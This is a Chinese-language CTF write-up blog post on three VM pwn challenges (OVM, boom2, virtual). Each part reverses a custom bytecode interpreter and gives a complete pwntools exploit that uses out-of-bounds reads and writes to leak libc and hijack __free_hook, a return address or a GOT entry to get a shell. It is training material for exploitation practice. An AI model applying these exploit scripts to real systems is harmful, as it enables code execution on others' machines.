VM Pwn记录

hash_hash

之前有听说,最近的hws见过一次,感觉比较有意思,花时间学一学

vmpwn的题目会比一般的pwn题逆向量上大不少,稳定发挥的话直观上可以有个一两千行的伪代码吧,虽然while循环占据了一大半,但是工作量还是比较大的

我的做法都是先猜,根据局部的虚拟指令集去猜cp,sp之类的关键寄存器,然后逆向输入解码的流程,搞明白其虚拟指令集的具体作用,然后再去找漏洞。而且vmpwn的漏洞一般比较容易,主要考虑越界读写以及虚拟堆栈上的残余指针,难度还是集中在逆向上

而且下面做的指令集的vm给我的感觉就是在做计组实验,做标注的时候还复习了一遍risc-v指令?

还有一种类型是模拟高级语言的题,hws那道就是模拟C的编译器,这一类的题目会比汇编指令的自由度大一点,也更难一些

[OGeek2019 Final]OVM

这题算是vm题最简单的那种了,逆向量很低,开局让你输入PC SP,这里没啥注意的,后面中断指令对SP有个检测,给个1就好了,然后输入全部在memory那一块

重点关注输入到执行的转码

1
2
3
4
tar_reg_num = (a1 & 0xF0000u) >> 16;
reg2_num = (a1 & 0xF00) >> 8;
reg1_num = a1 & 0xF;
opnum = HIBYTE(a1);

这里的变量名已经根据后面的操作改过了

部分指令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x70 : add
0xB0 : xor
0xD0 : sr
0xc0 : sl
0x90 : and
0xA0 : or
0x80 : sub
0x30 : load
0x50 : push
0x60 : pop
0x40 : store
0x10 : mov reg, im
0x20 : mov reg, (im==0)
0xE0 : Exit
0xFF : Halt

其中load,store满足了我们读写内存的需求,并且该题的漏洞在于读写的区间没做限制,导致可以读写到memory之外的内存。调试我们可以发现memory上面是got表,于是可以利用越界读来获取libc基址,然后由于主程序最后free了在memory附近的指针,考虑通过越界写把指针改成__free_hook-0x8,结束后做一次读写往chunk里填/bin/sh\x00+p64(system)即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(log_level = "debug")

#p = remote('node4.buuoj.cn',26322)
p = process("./vm")
#libc = ELF("./libc-2.23.so")
libc = ELF("./2.23-0ubuntu3_amd64/libc-2.23.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def gencode(opcode,tar,src1,src2):
code = opcode<<8
code = (code+tar)<<8
code = (code+src1)<<8
code = code+src2
return str(code)

"""
0x70 : add
0xB0 : xor
0xD0 : sr
0xE0 : exit
0xc0 : sl
0x90 : and
0xA0 : or
0x80 : sub
0x30 : load
0x50 : push
0x60 : pop
0x40 : store
0x10 : mov reg, im
0x20 : mov reg, (im==0)
0xE0 : Exit
0xFF : Halt
"""

sla("PC: ",'0')
sla("SP: ",'1')
sla("CODE SIZE: ",'20')


sl(gencode(0x10,0,0,25)) #mov r0 , 25
sl(gencode(0x10,1,0,0)) #mov r1 , 0
sl(gencode(0x80,2,1,0)) #sub r2 , r1 , r0
sl(gencode(0x30,3,0,2)) #ld r3 , memory[r2]
sl(gencode(0x10,0,0,26)) #mov r0 , 26
sl(gencode(0x80,2,1,0)) #sub r2 , r1 , r0
sl(gencode(0x30,4,0,2)) #ld r4 , memory[r2]
sl(gencode(0x10,5,0,0x10)) #mov r5 , 0x10
sl(gencode(0x10,0,0,8)) #mov r0 , 8
sl(gencode(0xc0,5,5,0)) #shl r5 , r5 , r0
sl(gencode(0x10,0,0,0xa0)) #mov r0 , 0xa0
sl(gencode(0x70,5,5,0)) #add r5 , r5 , r0
sl(gencode(0x70,4,4,5)) #add r4 , r4 , r5
sl(gencode(0x10,0,0,7)) #mov r0 , 7
sl(gencode(0x80,2,1,0)) #sub r2 , r1 , r0
sl(gencode(0x40,3,0,2)) #sd r3 , memory[r2]
sl(gencode(0x10,0,0,8)) #mov r0 , 8
sl(gencode(0x80,2,1,0)) #sub r2 , r1 , r0
sl(gencode(0x40,4,0,2)) #sd r4 , memory[r2]
sl(gencode(255,0,0,0)) #Halt


ru("R3: ")
re1 = int(ru("\n"),16)
ru("R4: ")
re2 = int(ru("\n"),16)

libcbase = (re1<<32)+re2-libc.sym['__free_hook']+8
lg("libcbase",libcbase)
system = libcbase+libc.sym['system']

#gdb.attach(p)
payload = b'/bin/sh\x00'+p64(system)
sla("HOW DO YOU FEEL AT OVM?\n",payload)
#gdb.attach(p)

p.interactive()

[网鼎杯2020]boom2

一开始分配了一片比较大的空间,然后两个局部变量存了这个地址的偏移,联想到栈,通过读后面的指令发现都有涉及这两变量的变化,一开始还不确定,然后我看到了一段这个

1
2
3
4
5
v_sp = (void **)(v_bp + 1);             
v_bp = (__int64 *)*v_bp;
v8 = v_spb;
v_sp = (__int64 *)(v_sp + 1);
code = (char *)*v8;

你把bp,sp带进去会发现就是一个leave_ret

之后就是逆指令了,这里得细心一点,一开始看太快了,有个指令的作用想当然了,然后打了一个十分复杂的流程结果超过了输入的量。后面重新逆才发现这个点逆错了,而且是个比较关键的代码

我先看了*--v_sp = reg;

然后看到了下面这个

1
2
v9 = (__int64 **)v_sp++;//1
**v9 = reg;

然后果断标注push pop后划走,而这里实际上可以实现任意地址写,,,一开始逆错了找了个极其阴间的任意地址写,然后导致输入超了

1
2
3
4
v10 = v_sp++;
v11 = (_BYTE *)*v10;
*v11 = reg;
reg = (char)*v11;

并且标注1那里用到了多级指针,看不明白的可以直接看汇编,很容易懂,直接视作一个指针就行

指令的逆向如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x00 : lea reg stack[i]
0x01 : next byte -> reg
0x06 : push bp; mov bp,sp; sub sp,(im)
0x08 : leave_ret
0x09 : mov reg,[reg] //read sth
0x0b : bad_pop //write sth
0x0d : push
0x0e : or
0x0f : xor
0x10 : and
0x11 : eq
0x12 : ne
0x17 : sl
0x18 : sr
0x19 : add
0x1a : sub
0x1b : mul
0x1e : exit

漏洞在于虚拟栈上存了真实栈上的地址,伪代码上没看出来,上手调试发现的。那就比较容易了,用这个地址算出main函数的bp+0x8,任意地址读可以拿到libc基址,然后把og写到这个bp+0x8上就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

p = remote('node4.buuoj.cn',28329)
#p = process("./wdb_2020_1st_boom2")
libc = ELF("./libc-2.27.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

"""
0x00 : lea reg stack[i]
0x01 : next byte -> reg
0x06 : push bp; mov bp,sp; sub sp,(im)
0x08 : leave_ret
0x09 : mov reg,[reg] //read sth
0x0b : bad_pop //write sth
0x0d : push
0x0e : or
0x0f : xor
0x10 : and
0x11 : eq
0x12 : ne
0x17 : sl
0x18 : sr
0x19 : add
0x1a : sub
0x1b : mul
0x1e : exit
"""

offset = 0x10a38c-0x21b97
code = p64(0x0b) #pop->rsp+8
code += p64(0x01)+p64(0xe8) #reg = 0xe8
code += p64(0x1a) #reg = real_bp+0x08
code += p64(0x0d) #push
code += p64(0x9) #reg = leak addr
code += p64(0x0d) #push
code += p64(0x01)+p64(offset) #reg = offset
code += p64(0x19) #reg = og
code += p64(0x0b) #*(real_bp+0x8) = og
code += p64(0x1e) #exit

#gdb.attach(p)
sla("Input your code> ",code)

p.interactive()

"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

[CISCN 2019 Qual]virtual

也是一道比较简单的问题,但是逆向的难度比上面高一点,函数稍微有点多,逆向能力太菜了,指令逻辑根本逆不太清,还是后面根据回显把每个指令过程猜了个差不多。洞极其好找,虚拟栈越界写,改掉指针劫持puts的got表,我用og和system都打了一遍本地都ok,但是远程通不了,不知道什么玄学原因没管了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

#p = remote('node4.buuoj.cn',27895)
p = process("./ciscn_2019_qual_virtual")
libc = ELF("./2.23-0ubuntu3_amd64/libc.so.6")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

"""
push
pop
add
sub
mul
div
load
save
"""

offset = -0x6f5d0+libc.sym['system']
puts_got = 0x404020
code = "push push push save push add"
data = "0 {} -4 {}".format(puts_got,offset)

sla("Your program name:",'/bin/sh\x00')
sla("Your instruction:",code)
#gdb.attach(p)
sla("Your stack data:",data)

p.interactive()

"""
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
  • Post title:VM Pwn记录
  • Post author:hash_hash
  • Create time:2023-01-14 21:11:11
  • Post link:https://hash-hash.github.io/2023/01/14/VM-Pwn记录/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.